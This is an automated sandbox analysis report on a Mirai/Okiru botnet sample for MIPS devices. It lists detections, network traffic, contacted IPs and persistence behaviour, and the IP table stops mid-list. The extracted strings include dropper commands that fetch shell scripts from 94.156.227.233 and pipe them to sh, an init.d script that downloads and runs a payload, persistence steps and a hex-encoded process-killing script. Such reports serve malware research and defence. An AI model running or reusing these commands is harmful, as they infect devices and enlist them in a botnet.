Linux Analysis Report
mips.nn.elf

Overview

General Information

Sample name: mips.nn.elf
Analysis ID: 1579417
MD5: 4a48ec3cef0b77787938588849647c4c
SHA1: 8d49a5f9787d2bff78f3cf845affe8259a94de31
SHA256: 2cc1cb3bd38973780e0c7df559556e4957067ccdb72c56d3e383d6489ea0fbe4
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Connects to many ports of the same IP (likely port scanning)
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: mips.nn.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: mips.nn.elf ReversingLabs: Detection: 42%
Source: mips.nn.elf Virustotal: Detection: 39% Perma Link
Found strings indicative of a multi-platform dropper
Source: mips.nn.elf String: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/loginmalloc[start_pid_hopping] Failed to clone: %s
Source: mips.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 94.156.227.234 ports 38242,199,2,3,4,8
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:60014 -> 94.156.227.234:38242
Sample listens on a socket
Source: /tmp/mips.nn.elf (PID: 6236) Socket: 0.0.0.0:38242 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 62.57.1.214
Source: unknown TCP traffic detected without corresponding DNS query: 70.204.57.104
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 155.2.39.195
Source: unknown TCP traffic detected without corresponding DNS query: 184.186.214.2
Source: unknown TCP traffic detected without corresponding DNS query: 62.57.1.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.166.25.215
Source: unknown TCP traffic detected without corresponding DNS query: 189.15.224.89
Source: unknown TCP traffic detected without corresponding DNS query: 56.19.205.120
Source: unknown TCP traffic detected without corresponding DNS query: 70.204.57.104
Source: unknown TCP traffic detected without corresponding DNS query: 139.77.151.152
Source: unknown TCP traffic detected without corresponding DNS query: 201.87.226.221
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 155.2.39.195
Source: unknown TCP traffic detected without corresponding DNS query: 98.52.187.179
Source: unknown TCP traffic detected without corresponding DNS query: 124.206.46.77
Source: unknown TCP traffic detected without corresponding DNS query: 157.90.237.45
Source: unknown TCP traffic detected without corresponding DNS query: 192.215.186.31
Source: unknown TCP traffic detected without corresponding DNS query: 105.155.62.88
Source: unknown TCP traffic detected without corresponding DNS query: 184.186.214.2
Source: unknown TCP traffic detected without corresponding DNS query: 68.244.137.213
Source: unknown TCP traffic detected without corresponding DNS query: 30.108.37.203
Source: unknown TCP traffic detected without corresponding DNS query: 91.200.103.181
Source: unknown TCP traffic detected without corresponding DNS query: 194.166.25.215
Source: unknown TCP traffic detected without corresponding DNS query: 22.35.203.32
Source: unknown TCP traffic detected without corresponding DNS query: 136.82.159.6
Source: unknown TCP traffic detected without corresponding DNS query: 189.15.224.89
Source: unknown TCP traffic detected without corresponding DNS query: 99.99.31.141
Source: unknown TCP traffic detected without corresponding DNS query: 18.133.8.238
Source: unknown TCP traffic detected without corresponding DNS query: 56.19.205.120
Source: unknown TCP traffic detected without corresponding DNS query: 113.3.143.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 147.40.27.87
Source: unknown TCP traffic detected without corresponding DNS query: 49.87.32.224
Source: unknown TCP traffic detected without corresponding DNS query: 178.64.0.74
Source: unknown TCP traffic detected without corresponding DNS query: 164.45.220.159
Source: unknown TCP traffic detected without corresponding DNS query: 139.77.151.152
Source: unknown TCP traffic detected without corresponding DNS query: 66.115.183.158
Source: unknown TCP traffic detected without corresponding DNS query: 103.240.230.21
Source: unknown TCP traffic detected without corresponding DNS query: 63.166.201.97
Source: unknown TCP traffic detected without corresponding DNS query: 13.175.21.74
Source: unknown TCP traffic detected without corresponding DNS query: 125.40.151.243
Source: unknown TCP traffic detected without corresponding DNS query: 201.87.226.221
Source: unknown TCP traffic detected without corresponding DNS query: 61.123.114.38
Source: unknown TCP traffic detected without corresponding DNS query: 98.52.187.179
Source: unknown TCP traffic detected without corresponding DNS query: 19.71.0.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.87.170.68
Source: unknown TCP traffic detected without corresponding DNS query: 124.206.46.77
Source: mips.nn.elf, profile.12.dr, system.12.dr, mips.nn.elf.32.dr, inittab.12.dr, bootcmd.12.dr, custom.service.12.dr String found in binary or memory: http://94.156.227.233/
Source: mips.nn.elf String found in binary or memory: http://94.156.227.233/curl.sh
Source: mips.nn.elf String found in binary or memory: http://94.156.227.233/lol.sh
Source: mips.nn.elf String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//ank
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/mips.nn.elf (PID: 6335) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6335) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6335) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6335) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6335) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6335) SIGKILL sent: pid: 6276, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6335) SIGKILL sent: pid: 6405, result: successful Jump to behavior
Source: classification engine Classification label: mal92.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/mips.nn.elf (PID: 6236) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/mips.nn.elf (PID: 6236) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6291) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 6315) File: /etc/rc.d/S99mips.nn.elf -> /etc/init.d/mips.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/mips.nn.elf (PID: 6236) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6288) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6303) File: /etc/init.d/mips.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6450/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6452/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6451/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6410/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6412/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6411/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/1477/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/799/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6447/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6446/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6405/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6449/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6404/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6448/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6409/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6408/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6441/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6066/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6440/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6443/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6442/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6445/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6444/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6438/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6437/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6320) File opened: /proc/6439/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/mips.nn.elf (PID: 6253) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6286) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6289) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6292) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/mips.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting mips.nn.elf'\n /tmp/mips.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping mips.nn.elf'\n killall mips.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/mips.nn.elf" Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6298) Shell command executed: sh -c "chmod +x /etc/init.d/mips.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6304) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6310) Shell command executed: sh -c "ln -s /etc/init.d/mips.nn.elf /etc/rc.d/S99mips.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6288) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 6303) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mips.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6309) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 6261) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/mips.nn.elf (PID: 6236) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6288) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6303) File: /etc/init.d/mips.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/mips.nn.elf (PID: 6236) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/mips.nn.elf (PID: 6236) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6292) Writes shell script file to disk with an unusual file extension: /etc/init.d/mips.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/mips.nn.elf (PID: 6236) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 6292) File: /etc/init.d/mips.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/mips.nn.elf (PID: 6236) Queries kernel information via 'uname': Jump to behavior
Source: mips.nn.elf, 6236.1.00007ffddbdf0000.00007ffddbe11000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/mips.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mips.nn.elf
Source: mips.nn.elf, 6236.1.000055a77a9f5000.000055a77aa9d000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mips
Source: mips.nn.elf, 6236.1.000055a77a9f5000.000055a77aa9d000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: mips.nn.elf, 6236.1.000055a77a9f5000.000055a77aa9d000.rw-.sdmp Binary or memory string: tc/qemu-binfmtP
Source: mips.nn.elf, 6236.1.000055a77a9f5000.000055a77aa9d000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: mips.nn.elf, 6236.1.00007ffddbdf0000.00007ffddbe11000.rw-.sdmp Binary or memory string: %s/qemu-op
Source: mips.nn.elf, 6236.1.00007ffddbdf0000.00007ffddbe11000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips
Source: mips.nn.elf, 6236.1.000055a77a9f5000.000055a77aa9d000.rw-.sdmp Binary or memory string: U0!/usr/bin/vmtoolsd
Source: mips.nn.elf, 6236.1.000055a77a9f5000.000055a77aa9d000.rw-.sdmp Binary or memory string: r-managertc/qemu-binfmtP /proc/2102/exexfce4/xfc!/proc/2123/exe/mips/pr1/usr/bin/xfce4-power-manager0!/proc/2114/exe!/proc/2242/exet/mips/pr
Source: mips.nn.elf, 6236.1.00007ffddbdf0000.00007ffddbe11000.rw-.sdmp Binary or memory string: /tmp/qemu-open.6Os42J
Source: mips.nn.elf, 6236.1.00007ffddbdf0000.00007ffddbe11000.rw-.sdmp Binary or memory string: MPDIR%s/qemu-op
Source: mips.nn.elf, 6236.1.00007ffddbdf0000.00007ffddbe11000.rw-.sdmp Binary or memory string: U/tmp/qemu-open.6Os42J\D)*

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: mips.nn.elf, type: SAMPLE
Source: Yara match File source: 6236.1.00007fcca4400000.00007fcca4421000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: mips.nn.elf, type: SAMPLE
Source: Yara match File source: 6236.1.00007fcca4400000.00007fcca4421000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mips.nn.elf PID: 6236, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: mips.nn.elf, type: SAMPLE
Source: Yara match File source: 6236.1.00007fcca4400000.00007fcca4421000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: mips.nn.elf, type: SAMPLE
Source: Yara match File source: 6236.1.00007fcca4400000.00007fcca4421000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mips.nn.elf PID: 6236, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
71.85.172.121
 unknown United States
20115 CHARTER-20115US false
52.102.179.50
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
130.99.1.125
 unknown United States
203 CENTURYLINK-LEGACY-LVLT-203US false
30.241.227.29
 unknown United States
7922 COMCAST-7922US false
210.122.139.47
 unknown Korea Republic of
9848 SEJONGTELECOM-AS-KRSejongTelecomKR false
3.90.193.102
 unknown United States
14618 AMAZON-AESUS false
96.15.206.62
 unknown United States
22394 CELLCOUS false
98.62.209.133
 unknown United States
7922 COMCAST-7922US false
133.176.177.55
 unknown Japan 385 AFCONC-BLOCK1-ASUS false
125.255.90.208
 unknown Japan 1221 ASN-TELSTRATelstraCorporationLtdAU false
43.213.178.195
 unknown Japan 4249 LILLY-ASUS false
123.196.85.13
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
16.232.191.72
 unknown United States
unknown unknown false
60.248.84.35
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
179.120.169.70
 unknown Brazil
26615 TIMSABR false
140.45.68.171
 unknown United States
668 DNIC-AS-00668US false
24.104.27.194
 unknown United States
7922 COMCAST-7922US false
213.237.62.150
 unknown Denmark
9158 TELENOR_DANMARK_ASDK false
65.242.120.220
 unknown United States
13666 VRIS-AS-BLOCKUS false
23.57.209.219
 unknown United States
16625 AKAMAI-ASUS false
177.28.201.152
 unknown Brazil
26615 TIMSABR false
74.46.133.37
 unknown United States
7011 FRONTIER-AND-CITIZENSUS false
123.62.119.123
 unknown China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
78.160.247.18
 unknown Turkey
9121 TTNETTR false
60.146.162.245
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
186.12.11.37
 unknown Argentina
11664 TechtelLMDSComunicacionesInteractivasSAAR false
20.25.224.111
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
45.2.160.226
 unknown Canada
7311 FRONTIERCA false
117.198.224.153
 unknown India
9829 BSNL-NIBNationalInternetBackboneIN false
216.134.58.20
 unknown United States
4565 MEGAPATH2-US false
66.195.45.192
 unknown United States
3549 LVLT-3549US false
222.39.120.74
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
204.181.145.33
 unknown United States
32068 MEMPHISNETWORXUS false
8.195.247.249
 unknown United States
3356 LEVEL3US false
88.241.210.57
 unknown Turkey
9121 TTNETTR false
210.178.237.249
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
215.50.167.215
 unknown United States
721 DNIC-ASBLK-00721-00726US false
78.140.240.209
 unknown Russian Federation
35000 PROMETEYPROMETEYLLCRU false
57.236.105.99
 unknown Belgium
2686 ATGS-MMD-ASUS false
18.159.41.41
 unknown United States
16509 AMAZON-02US false
197.153.128.251
 unknown Morocco
36925 ASMediMA false
211.52.79.67
 unknown Korea Republic of
4663 ELIMNET-AS-KRELIMNETINCKR false
93.209.197.112
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
70.199.108.94
 unknown United States
6167 CELLCO-PARTUS false
26.0.17.143
 unknown United States
7922 COMCAST-7922US false
43.112.217.239
 unknown Japan 4249 LILLY-ASUS false
159.73.177.227
 unknown Australia
1257 TELE2EU false
68.177.81.58
 unknown United States
40609 KOFCUS false
202.61.108.43
 unknown unknown
55656 DEPHUB-AS-IDMinistryofTransportationRepublicofIndonesi false
111.233.254.164
 unknown Japan 10013 FBDCFreeBitCoLtdJP false
34.8.131.16
 unknown United States
2686 ATGS-MMD-ASUS false
112.207.142.132
 unknown Philippines
9299 IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH false
197.78.59.83
 unknown South Africa
16637 MTNNS-ASZA false
83.59.238.196
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
18.45.150.132
 unknown United States
3 MIT-GATEWAYSUS false
50.219.45.146
 unknown United States
7922 COMCAST-7922US false
106.194.185.156
 unknown India
45609 BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService false
140.44.148.110
 unknown United States
668 DNIC-AS-00668US false
110.250.130.150
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
82.173.157.58
 unknown Netherlands
13127 VERSATELASfortheTrans-EuropeanTele2IPTransportbackbo false
25.190.203.72
 unknown United Kingdom
7922 COMCAST-7922US false
112.131.194.70
 unknown China
7641 CHINABTNChinaBroadcastingTVNetCN false
214.218.33.123
 unknown United States
721 DNIC-ASBLK-00721-00726US false
180.51.101.201
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
123.162.233.163
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
177.112.78.39
 unknown Brazil
26599 TELEFONICABRASILSABR false
2.29.117.56
 unknown United Kingdom
12576 EELtdGB false
134.125.19.84
 unknown United States
1761 TDIR-CAPNETUS false
163.168.179.99
 unknown Switzerland
786 JANETJiscServicesLimitedGB false
34.201.15.152
 unknown United States
14618 AMAZON-AESUS false
51.249.201.114
 unknown United States
2686 ATGS-MMD-ASUS false
25.91.159.36
 unknown United Kingdom
7922 COMCAST-7922US false
31.71.159.62
 unknown United Kingdom
12576 EELtdGB false
16.16.85.23
 unknown United States
unknown unknown false
158.68.106.184
 unknown United States
22284 AS22284-DOI-OPSUS false
65.188.142.178
 unknown United States
11426 TWC-11426-CAROLINASUS false
109.202.11.184
 unknown Russian Federation
8711 AVANTEL-BARNAUL-ASBARNAULRussiaRU false
99.214.146.212
 unknown Canada
812 ROGERS-COMMUNICATIONSCA false
23.190.38.252
 unknown Reserved
63393 BOOMNETPR01PR false
50.99.128.40
 unknown Canada
852 ASN852CA false
53.29.64.118
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
63.14.20.134
 unknown United States
701 UUNETUS false
179.147.151.249
 unknown Brazil
26599 TELEFONICABRASILSABR false
142.139.14.245
